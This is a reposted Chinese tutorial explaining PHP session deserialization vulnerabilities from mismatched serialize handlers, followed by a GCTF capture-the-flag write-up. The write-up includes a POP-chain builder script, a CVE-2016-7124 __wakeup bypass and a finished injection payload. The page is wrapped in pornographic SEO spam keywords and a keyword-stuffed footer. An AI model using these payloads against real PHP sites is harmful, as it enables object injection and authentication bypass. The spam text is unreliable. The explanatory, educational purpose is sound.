国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 語言 > PHP > 正文

深入淺析PHP的session反序列化漏洞問題

2024-05-04 23:58:02
字體:
來源:轉載
供稿:網友

在php.ini中存在三項配置項:

session.save_path=""  --設置session的存儲路徑session.save_handler="" --設定用戶自定義存儲函數,如果想使用PHP內置會話存儲機制之外的可以使用本函數(數據庫等方式)session.auto_start  boolen --指定會話模塊是否在請求開始時啟動一個會話,默認為0不啟動session.serialize_handler  string --定義用來序列化/反序列化的處理器名字。默認使用php 

以上的選項就是與PHP中的Session存儲和序列話存儲有關的選項。

在使用xampp組件安裝中,上述的配置項的設置如下:

session.save_path="D:/xampp/tmp"  表明所有的session文件都是存儲在xampp/tmp下session.save_handler=files     表明session是以文件的方式來進行存儲的session.auto_start=0        表明默認不啟動sessionsession.serialize_handler=php    表明session的默認序列話引擎使用的是php序列話引擎

 在上述的配置中,session.serialize_handler是用來設置session的序列話引擎的,除了默認的PHP引擎之外,還存在其他引擎,不同的引擎所對應的session的存儲方式不相同。

php_binary:存儲方式是,鍵名的長度對應的ASCII字符+鍵名+經過serialize()函數序列化處理的值

php:存儲方式是,鍵名+豎線+經過serialize()函數序列處理的值

php_serialize(php>5.5.4):存儲方式是,經過serialize()函數序列化處理的值 

在PHP中默認使用的是PHP引擎,如果要修改為其他的引擎,只需要添加代碼ini_set('session.serialize_handler', '需要設置的引擎');。示例代碼如下:

session 的目錄在 /var/lib/php/sessions 中

<?phpini_set('session.serialize_handler', 'php_serialize');session_start();$_SESSION['name'] = 'spoock';var_dump($_SESSION);

在 php_serialize 引擎下,session文件中存儲的數據為:

a:1:{s:4:"name";s:6:"spoock";}

php 引擎下文件內容為:

name|s:6:"spoock";

php_binary 引擎下文件內容為:

names:6:"spoock";

由于name的長度是4,4在ASCII表中對應的就是EOT。根據php_binary的存儲規則,最后就是names:6:"spoock";。(突然發現ASCII的值為4的字符無法在網頁上面顯示,這個大家自行去查ASCII表吧)

PHP Session中的序列化危害

PHP中的Session的實現是沒有的問題,危害主要是由于程序員的Session使用不當而引起的。

如果在PHP在反序列化存儲的$_SESSION數據時使用的引擎和序列化使用的引擎不一樣,會導致數據無法正確第反序列化。通過精心構造的數據包,就可以繞過程序的驗證或者是執行一些系統的方法。例如:

$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';

php文件如:

<?phpini_set('session.serialize_handler', 'php_serialize');session_start();$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';

訪問后得到session文件中的內容如下:

root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";} 

但此時模擬在其他頁面使用不同的php引擎來讀取時的內容如下:(默認使用php引擎讀取session文件)

<?php#ini_set('session.serialize_handler', 'php_serialize');session_start();#$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';class A {  public $a = 'aa';  function __wakeup() {    echo $this->a;  }}// var_dump($_SESSION);

訪問該頁面輸出xx

xxarray(1) { ["a:1:{s:4:"ryat";s:30:""]=> object(A)#1 (1) {  ["a"]=>  string(2) "xx" }} 

這是因為當使用php引擎的時候,php引擎會以|作為作為key和value的分隔符,那么就會將 a:1:{s:4:"ryat";s:30:" 作為SESSION的key,將 O:1:"A":1:{s:1:"a";s:2:"xx";} 作為value,然后進行反序列化,最后就會得到A這個類。

這種由于序列話化和反序列化所使用的不一樣的引擎就是造成PHP Session序列話漏洞的原因。漏洞在加載使用php引擎的頁面時session去讀session中的內容并反序列化導致漏洞觸發,不需要任何輸出

GCTF上的一道session反序列化漏洞分析:

index.php中內容為:

<?php//error_reporting(E_ERROR & ~E_NOTICE);ini_set('session.serialize_handler', 'php_serialize');header("content-type;text/html;charset=utf-8");session_start();if(isset($_GET['src'])){  $_SESSION['src'] = $_GET['src'];  highlight_file(__FILE__);  print_r($_SESSION['src']);}?><!DOCTYPE HTML><html> <head>  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>代碼審計2</title> </head> <body>

 在php中,經常會使用序列化操作來存取數據,但是在序列化的過程中如果處理不當會帶來一些安全隱患。

<form action="./query.php" method="POST">    <input type="text" name="ticket" />        <input type="submit" /></form><a href="./?src=1">查看源碼</a></body></html>

query.php 中的內容為:

/************************//*//query.php 部分代碼session_start();header('Look me: edit by vim ~0~')//......class TOPA{  public $token;  public $ticket;  public $username;  public $password;  function login(){    //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉    $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){      return 'key is:{'.$this->token.'}';    }  }}class TOPB{  public $obj;  public $attr;  function __construct(){    $this->attr = null;    $this->obj = null;  }  function __toString(){    $this->obj = unserialize($this->attr);    $this->obj->token = $FLAG;    if($this->obj->token === $this->obj->ticket){      return (string)$this->obj;    }  }}class TOPC{  public $obj;  public $attr;  function __wakeup(){    $this->attr = null;    $this->obj = null;  }  function __destruct(){    echo $this->attr;  }}*/

思路如下:

這題中我們構造一個TOPC,在析構的時候則會調用echo $this->attr;

將attr賦值為TOPB對象,在echo TOPB的時候會自動調用__tostring魔術方法

在__tostring中會調用unserialize($this->attr),因為后面用到token和ticket,所以顯然時TOPA對象。后面判斷需要$this->obj->token === $this->obj->ticket,所以在序列化的時候進行指針引用使$a->ticket = &$a->token;,即可繞過判斷。

至于為什么(string)$this->obj會輸出flag,后臺寫的login可能是__tostring吧。

其中反序列化字符串中會有一個__wakeup()函數清空里面的參數,我問可以通過一個cve來繞過:CVE-2016-7124。將Object中表示數量的字段改成比實際字段大的值即可繞過wakeup函數。

最后的代碼為:

$testa = new TOPA();$testc = new TOPC();$testb = new TOPB();$testa->username = 0;$testa->password = 0;$testa->ticket = &$testa->token;$sa = serialize($testa);$testc->attr = $testb;$testb->attr = $sa;$test = serialize($testc);echo $test;

最終payload為:

|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}

以上所述是小編給大家介紹的PHP的session反序列化漏洞,希望對大家有所幫助,如果大家有任何疑問請給我留言,小編會及時回復大家的。在此也非常感謝大家對VeVb武林網網站的支持!


注:相關教程知識閱讀請移步到PHP教程頻道。
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表

圖片精選

主站蜘蛛池模板: 浙江省| 萍乡市| 慈利县| 扶沟县| 平泉县| 黄陵县| 滕州市| 中超| 太白县| 南康市| 嘉善县| 莱西市| 沽源县| 成安县| 观塘区| 米脂县| 东港市| 壤塘县| 东莞市| 商城县| 鸡东县| 赤峰市| 桐城市| 宁明县| 尼玛县| 荆门市| 马鞍山市| 靖远县| 全州县| 沾化县| 沈丘县| 汾阳市| 石家庄市| 永福县| 讷河市| 茌平县| 沁阳市| 钟祥市| 平湖市| 绥宁县| 绥阳县|